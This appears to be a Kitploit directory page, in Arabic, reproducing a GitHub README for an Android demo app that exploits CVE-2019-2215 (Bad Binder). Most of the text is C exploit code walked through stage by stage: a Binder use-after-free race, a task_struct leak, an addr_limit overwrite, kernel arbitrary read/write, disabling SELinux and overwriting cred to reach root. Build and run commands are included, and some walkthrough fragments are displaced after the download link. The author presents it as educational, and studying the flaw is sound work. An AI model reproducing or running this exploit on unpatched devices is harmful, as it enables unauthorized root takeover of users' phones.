Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
android-badbinder-demo — عرض توضيحي لثغرة CVE-2019-2215 (Bad Binder) لنظام Android Q | Kitploit
أدوات/GitHubGitHub/i-redbyte/android-badbinder-demo
أمان أندرويدتصعيد الامتيازاتالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

عرض توضيحي لثغرة CVE-2019-2215 (Bad Binder) لنظام Android Q

عرض المستودع
51منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-2215 (Bad Binder) — تحليل الاستغلال

هذا المستودع مشروع اختباري صغير لدراسة الثغرة الأمنية
CVE-2019-2215 (Bad Binder) وكتابة نموذج أولي عملي للاستغلال على Android مع واجهة رسومية بسيطة باستخدام Kotlin/Jetpack Compose.

في ملف README سأقوم بـ:

  1. وصف تجهيز البيئة وتشغيل النموذج الأولي للاستغلال.
  2. تحليل المراحل الرئيسية لاستغلال CVE-2019-2215 ومطابقتها مع الدوال المحددة في كود C.
  3. سرد منفصل للصعوبات التي واجهتها في الطريق وكيف قمت بحلّها.

APK جاهز (GitHub Actions)

تم إعداد سير عمل GitHub Actions في المستودع، والذي يقوم عند كل push/PR ببناء المشروع بأمر ./gradlew assembleDebug وينشر ملف badbinder-debug.apk الجاهز كأثر (Artifact).

يمكنك تنزيله كالتالي:

  1. افتح تبويب Actions في المستودع.
  2. اختر تشغيل سير العمل المطلوب.
  3. في أسفل الصفحة ابحث عن قسم Artifacts واحصل على الأرشيف badbinder-debug-apk مع ملف APK المبني.

تم ذلك لتسهيل الأمر إذا أردت فقط اختبار التطبيق دون إعداد بيئة محلية.


نبذة مختصرة عن الثغرة

CVE-2019-2215 هي ثغرة Use-After-Free (UAF) في نظام IPC الخاص بـ Binder في نواة Android.

بشكل مبسّط:

  • توجد في النواة بنية struct binder_thread التي تصف الخيط الذي ينفّذ استدعاءات Binder؛
  • يمكن تحرير هذه البنية (free)، لكن مع تسلسل معين من الاستدعاءات تبقى موجودة في قوائم الانتظار (waitqueue)؛
  • لاحقًا تحاول النواة التعامل مع ذاكرة تم تحريرها بالفعل في remove_wait_queue، مما يفتح سيناريو UAF الكلاسيكي؛
  • إذا قمت باختيار البيئة والعمليات اللاحقة بعناية، يمكنك جعل النواة تقرأ/تكتب على عناوين عشوائية، ومن ثم الحصول على صلاحيات النواة، ومن ثم صلاحيات root في userspace.

لقد قمت بتحليل نظري أكثر تفصيلًا بالاعتماد على المواد التالية:

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. تجهيز البيئة وتشغيل النموذج الأولي للاستغلال

1.1. اختيار وتجهيز الجهاز الافتراضي

وفقًا للمهمة، يُنصح باستخدام AVD مع صورة Android 10.0 (Q) x86_64.
قمتُ بالخطوات التالية:

  1. أنشأت AVD في Android Studio (جهاز Pixel، Android 10 (Q)، x86_64).
  2. تأكدت من أن الصورة تتضمن Binder ومن وجود الجهاز /dev/binder.
  3. فعّلت التصحيح عبر USB/ADB وتحققت من الوصول إلى الجهاز:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

في هذه المرحلة واجهت حقيقة غير مريحة:
في الوقت الحالي صور AVD الحديثة تأتي بالفعل مع نواة مُصحّحة تكون فيها CVE-2019-2215 مغلقة. أي أنه لن يكون من الممكن فعليًا الحصول على root على المحاكي الرسمي الحديث — الاستغلال يفشل في مراحل متأخرة أو ببساطة لا يمنح رفع صلاحيات.

في النهاية، أستخدم AVD كـمدرّب لإعادة إنتاج منطق الاستغلال:

  • أحصل على نفس تسلسلات استدعاءات النظام،
  • وألاحظ محاولات UAF، وتسريب العناوين، ومحاولة إعادة كتابة addr_limit،
  • أما «الحصول على root» النهائي على نواة حديثة مُصحّحة، فبطبيعة الحال، لا يعمل (وهذا متوقّع).

هذه نقطة مهمة: كل الكود والتقرير أدناه — تعليمي، وليس «قتاليًا».


1.2. بناء تطبيق Android مع استغلال أصلي (Native)

قمت بإنشاء تطبيق Android صغير:

  • UI بـ Kotlin + Jetpack Compose،
  • الجزء الأصلي بلغة C عبر JNI — وهو كود الاستغلال نفسه،
  • التواصل بينهما يتم عبر استدعاء رجعي JNI، بحيث تنتقل السلاسل من كود C مباشرة إلى الواجهة.

الخطوات الرئيسية:

  1. أنشأت مشروعًا عاديًا في Android Studio (Kotlin، مع دعم أدنى لنظام Android 10).

  2. أضفت NDK وCMake.

  3. أضفت الملف الأصلي الخاص بالاستغلال (وهو ملف cve-2019-2215.c الذي يحتوي الدوال leak_task_struct, overwrite_addr_limit, وما إلى ذلك).

  4. أضفت في CMakeLists.txt بناء مكتبة libcve-2019-2215.so.

  5. في MainActivity:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. على جانب Kotlin قمت بإنشاء ExploitViewModel، وهو ينفّذ الواجهة NativeLogger ويجمع جميع الرسائل في StateFlow<List<String>>. واجهة المستخدم مشتركة على هذا التدفق وتعرض السجل في «الطرفية».

عند بدء النشاط، أستدعي setNativeLogger(viewModel) حتى يتلقى الكود الأصلي كائنًا يمكن إرسال السلاسل إليه.


1.3. التشغيل وسيناريو الاستخدام

  1. أقوم ببناء التطبيق وتثبيته:

    root@kitploit:~
    ./gradlew installDebug
    
  2. أُشغّل AVD والتطبيق نفسه.

  3. أرى على الشاشة «الطرفية» وزر RUN EXPLOIT.

  4. عند الضغط:

    • يستدعي Kotlin الدالة runNativeExploit() في خيط خلفي.
    • يبدأ كود C بتنفيذ جميع مراحل الاستغلال وتسجيل الخطوات.
    • عبر الاستدعاء الرجعي JNI يصل السجل إلى ViewModel ويُعرض في واجهة Compose.

على نواة حقيقية قابلة للاستغلال، كنت أتوقع رؤية شيء مثل ما يلي في النهاية:

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

على محاكي Android 10 الحديث، هذا بالطبع لا يحدث، لكن كل شيء آخر — تسريب task_struct، محاولة إعادة كتابة addr_limit، حساب cred وkernel_base — يعمل كما لو كان «سيناريو»، وهذا هو المطلوب للمهمة.


2. تحليل المراحل الرئيسية للاستغلال ومطابقتها مع الكود

فيما يلي المخطط المنطقي للاستغلال مع الربط بالدوال C المحددة.

2.1. السيناريو العام للاستغلال

الخطة عالية المستوى هي:

  1. إنشاء UAF على كائن struct binder_thread واستخدامه من أجل تسريب عنوان task_struct للعملية الخاصة بك (leak_task_struct).
  2. عبر دورة UAF ثانية وبنى مختارة بعناية، إعادة كتابة حقل addr_limit في task_struct (overwrite_addr_limit) — وهذا يزيل القيد بين عناوين user-space وkernel-space لعمليات copy_to_user / copy_from_user اللاحقة.
  3. باستخدام الأنابيب (pipes)، تنفيذ قراءة/كتابة عشوائية لأي ذاكرة في النواة (arb_read / arb_write).
  4. من خلال ذلك، العثور على cred للعملية الحالية وقاعدة النواة (verifying)، ثم:
    • إيقاف تشغيل SELinux (selinux_enforcing = 0)،

بالتوازي، قمت بدمج مسجّل JNI بحيث تكون جميع هذه المراحل مرئية مباشرة في الواجهة.


2.2. المرحلة 1 — تسريب عنوان task_struct (leak_task_struct)

الدالة الرئيسية:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

ماذا تفعل الدالة:

  1. تثبّت الخيط على CPU 0 (sched_setaffinity) لجعل سلوك مُخصِّص الذاكرة في النواة أكثر قابلية للتنبؤ. وهذا يحسّن استقرار استغلال UAF.

  2. تفتح /dev/binder وتنشئ واصف epoll:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    يتم تسجيل واصف Binder في epoll:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. تُجهّز مصفوفة struct iovec iov_buffers[IOVEC_N] وتُخصّص الذاكرة:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    من المهم هنا أن تكون البتات السفلية البالغة 32 من العنوان أصفارًا:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    يتوافق هذا مع التقنية الواردة في مقالات الاستغلال: لاحقًا تقوم النواة بتفسير جزء من بياناتنا كبنى تحتوي مؤشرات، وهذه العنونة «المحاذاة بشكل جميل» تسهّل إساءة الاستخدام.

    ثم يتم ملء الحقلين iov_buffers[0xa] وiov_buffers[0xb] بحيث تقوم النواة في لحظة UAF بنسخ جزء من الذاكرة إلى الأنبوب حيث يوجد المؤشر إلى .

الخلاصة: لديّ عنوان task_struct في النواة، وهو أمر بالغ الأهمية للخطوات اللاحقة.


2.3. المرحلة 2 — إعادة كتابة addr_limit (overwrite_addr_limit)

addr_limit في task_struct يحدد العناوين التي يمكن للعملية تمريرها إلى استدعاءات النظام كمؤشرات user-space. إذا قمت بإعادة كتابته إلى قيمة شبه قصوى، تتوقف النواة عن التمييز بين عناوين user-space والعناوين في مساحتها الخاصة — وتتحول العديد من عمليات copy_(to|from)_user التي تبدو آمنة للوهلة الأولى إلى قراءات/كتابات عشوائية في النواة.

الدالة:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

تتبع نمطًا مشابهًا جدًا:

  1. مرة أخرى أقوم بتثبيت تقارب CPU، وفتح /dev/binder، وإنشاء epoll.

  2. أُجهّز iov_buffers، لكن في هذه المرة المخطط مختلف:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. بدلاً من الأنبوب، يتم استخدام socketpair(AF_UNIX, SOCK_STREAM, ...):

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. أُجهّز بنية msghdr لـ recvmsg:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. في العملية الفرعية (بعد fork()) يتم تشغيل سباق UAF مرة أخرى:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. المرحلة 3 — القراءة/الكتابة العشوائية والتحقق (arb_read, arb_write, verifying)

بعد إعادة كتابة addr_limit، أستخدم الأنابيب لتحويل عمليات القراءة/الكتابة العادية إلى إمكانية القراءة والكتابة على عناوين النواة.

البدائيان arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

بالمثل، يقوم arb_write بعكس اتجاه النسخ.

التحقق والبحث عن البنى الرئيسية

الدالة verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

هنا أقوم بما يلي:

  • أقرأ من النواة محتويات task_struct؛
  • عبر PID_OFFSET أتأكد من أنها بالفعل البنية الخاصة بي؛
  • أستخرج المؤشر إلى cred وتسريب عنوان من النواة (kernel_leak)؛
  • أحسب kernel_base مع تصحيح الإزاحة المحددة.

2.5. المرحلة 4 — SELinux ورفع الصلاحيات إلى root

الجزء النهائي في runNativeExploit:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • أحسب عنوان المتغير العام selinux_enforcing وأضبطه على الحالة الصفرية/«المتساهلة».

بعد ذلك — إعادة كتابة cred:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

أقوم حرفيًا بصبّ القيم القصوى في حقول capability وبعض الحقول الأخرى في cred لمنح العملية مجموعة كاملة من الصلاحيات.

التحقق الأخير:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

على نواة حقيقية قابلة للاستغلال، كنت أتوقع رؤية uid=0 هنا، أما على الصورة المُصحّحة — فمن المنطقي أن تكون عملية رفع الصلاحيات معطلة.


2.6. JNI والتسجيل في واجهة المستخدم

لكي أرى كل شيء في الوقت الفعلي، أضفت طبقة وسيطة:

  • JNI_OnLoad يحفظ JavaVM* ومعرّف العملية الرئيسية؛
  • setNativeLogger يستقبل كائن Kotlin ينفّذ الدالة onLog(String)، ويحفظه كـGlobalRef؛
  • تكتب android_log/android_log_hex في logcat وتستدعي send_to_ui، الذي يوصل السلسلة إلى Kotlin حيث يلتقطها ExploitViewModel ويعرضها في «الطرفية» الخاصة بـ Compose.

من المهم أن send_to_ui يفلتر العمليات الفرعية حسب PID — فاستدعاء JNI من عملية بعد fork() بدون exec() غير آمن.


3. الصعوبات وحلولها

3.1. صور AVD المُصحّحة

واجهت حقيقة أن لا توجد حاليًا صور AVD رسمية لنظام Android 10 بنواة غير مُصحّحة لا تزال تحتوي على CVE-2019-2215.

بدلاً من الحصول «القتالي» على root، ركّزت على:

  • إعادة إنتاج منطق الاستغلال،
  • تحليل تسلسل UAF،
  • تصوير جميع الخطوات في تطبيق Android.

إذا رغبت، يمكن نقل هذا الكود إلى جهاز حقيقي بنواة قديمة غير مُصحّحة، لكن هذا خارج نطاق المهمة.


3.2. الإزاحات الثابتة والاعتماد على إصدار النواة

اضطررت إلى تحديد الآتي صراحةً:

  • ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET؛
  • إزاحات kernel_leak وselinux_enforcing؛
  • ثابت حساب kernel_base.

تعمّدت عدم أتمتة البحث عن هذه القيم حتى لا أُضخّم حجم المشروع. في التقرير، أعتمد على أن هذا مثال تعليمي لإصدار محدد من النواة، وليس استغلالًا عامًا.


3.3. السباقات والاستقرار

استخدام fork() وepoll_ctl وBINDER_THREAD_EXIT ومختلف التوقيتات — هو حقل ألغام. واجهت أن الاستغلال بدون:

  • sched_setaffinity،
  • بعض sleep الصغيرة،
  • وassert القوية على طول الطريق

يصبح غير مستقر للغاية.
قمت تدريجيًا بضبط التسلسل بحيث يكون قابلاً للتنبؤ على الإعدادات القابلة للاستغلال، وعلى الإعدادات المُصحّحة «يفشل» بشكل صحيح في الخطوات الأخيرة.


3.4. JNI وfork()

واجهت أيضًا أن محاولة تسجيل الدخول من العملية الفرعية مباشرةً إلى JVM تؤدي إلى سلوك غريب.
اضطررت إلى تذكّر قواعد JNI وإضافة فحص PID للتواصل مع JVM فقط من العملية الرئيسية.

الحل الوسط: جزء من الرسائل يظهر فقط في logcat، بينما تعرض الواجهة فقط ما جاء من العملية الأب. هذا يناسبني لأنه في إطار المهمة المهم هي نقاط التحكم الرئيسية، وليس كل أمر تصحيح مطبوع.


3.5. واجهة المستخدم

كمكافأة، ولتحقيق إبداعي أكبر في تنفيذ المهمة، قررت إنشاء واجهة ملائمة للتحليل:

  • نفّذت شاشة تحتوي على «وحدة تحكم» بأسلوب طرفية داكنة ونص أخضر؛
  • يُعرض السجل سطرًا بسطر، مع تمرير تلقائي إلى آخر إدخال؛
  • أنواع الرسائل المختلفة ([+], [*], [!], [C]) ملوّنة بألوان مختلفة لسهولة القراءة؛
  • يتم عرض نتيجة التنفيذ (Success / Failed) في كتلة منفصلة.

هذا يبسّط إلى حد كبير استيعاب عمل الكود الأصلي: بدلاً من logcat الجاف أرى كل شيء في مكان واحد، مباشرة داخل التطبيق.


الخلاصة

نتيجة للعمل على المهمة، قمت بما يلي:

  1. جهّزت بيئة AVD وتطبيق Android بجزء أصلي ينفّذ استغلال CVE-2019-2215.
  2. حللت الاستغلال خطوة بخطوة:
    • UAF في Binder وتسريب task_struct،
    • إعادة كتابة addr_limit،
    • بناء بدائيي القراءة/الكتابة العشوائية،
    • البحث عن cred، وتعطيل SELinux ومحاولة رفع الصلاحيات.
  3. واجهت عددًا من المشكلات الهندسية الحقيقية (تصحيحات النواة، الاعتماد على الإصدار، السباقات، خصائص JNI) و قمت بحلّها أو تجاوزها بالتتابع.

المشروع مدمج، لكنه في جوهره يعكس دورة الحياة الكاملة لثغرة نواة حقيقية: من الوصف النظري وقراءة المقالات إلى التنفيذ العملي والدمج في تطبيق Android فعلي.

P.S.

طريقة بديلة لتشغيل الاستغلال

يوجد في الدليل cve-2019-2215 ملف Makefile يتيح بناء ملف ثنائي أصلي (x86_64) وتشغيله مباشرة في AVD عبر ADB. إذا كنت بحاجة إلى نسخة aarch64، يمكنك بناؤها بشكل منفصل.

  1. نقوم ببناء الملف الثنائي الأصلي:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. ننسخ الملف الثنائي إلى AVD، على سبيل المثال إلى /sdcard/cve-2019-2215
  3. نشغّل ADB shell وننفّذ الملف الثنائي:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. بعد التنفيذ الناجح للاستغلال يمكنك التحقق من الحصول على root:
    root@kitploit:~
    id
    
    المخرج المتوقع:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
تنزيل الأداة
  • إعادة كتابة حقول cred لتصبح root مع الحصول على كامل مجموعة capability (runNativeExploit).
  • task_struct
  • تُنشئ أنبوبًا وتضبط حجم مخزنه على 0x1000:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • بعد ذلك — سباق UAF الكلاسيكي. أقوم بتشغيل عملية فرعية:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • تبقى العملية الأب لتنفيذ الكود اللاحق.
    • في العملية الفرعية، يؤدي epoll_ctl(..., EPOLL_CTL_DEL, ...) إلى تحرير binder_thread المرتبط في النواة، لكنه لا يزال موجودًا في بنية حساب الانتظار — وهذه هي نقطة UAF.
  • في العملية الأب، أستدعي:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // تحرير binder_thread
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    في هذه المرحلة، وبفضل UAF، يستخدم writev الذاكرة المحررة بالفعل كبنى iovec ويقوم، في جوهره، بإعادة تفسير نفس منطقة الذاكرة التي كان يوجد فيها binder_thread سابقًا، لكن الآن كمجموعة من المؤشرات/الأطوال. ومن الآثار الجانبية نسخ جزء من ذاكرة النواة إلى الأنبوب الخاص بنا.

  • أخيرًا، أقرأ من الأنبوب:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    الإزاحة 0xe8 محددة لإصدار معيّن من النواة — وهي الموضع الذي يوجد فيه المؤشر إلى task_struct الخاص بعمليتي داخل كتلة الذاكرة المسرَّبة.

  • الأب، كما في السابق، يحرر binder_thread ويستدعي recvmsg:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    بسبب UAF والاستبدال الذكي للبنى، تنتهي النواة بإدراك task_struct + ADDR_LIMIT_OFFSET كعنوان لمخزن user وتقوم بنسخ محتويات البنية المرسلة إليه (القيمة الخاصة بنا 0xfffffffffffffffe)، وبالتالي إعادة كتابة addr_limit في task_struct.

  • أكتب في السجل:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");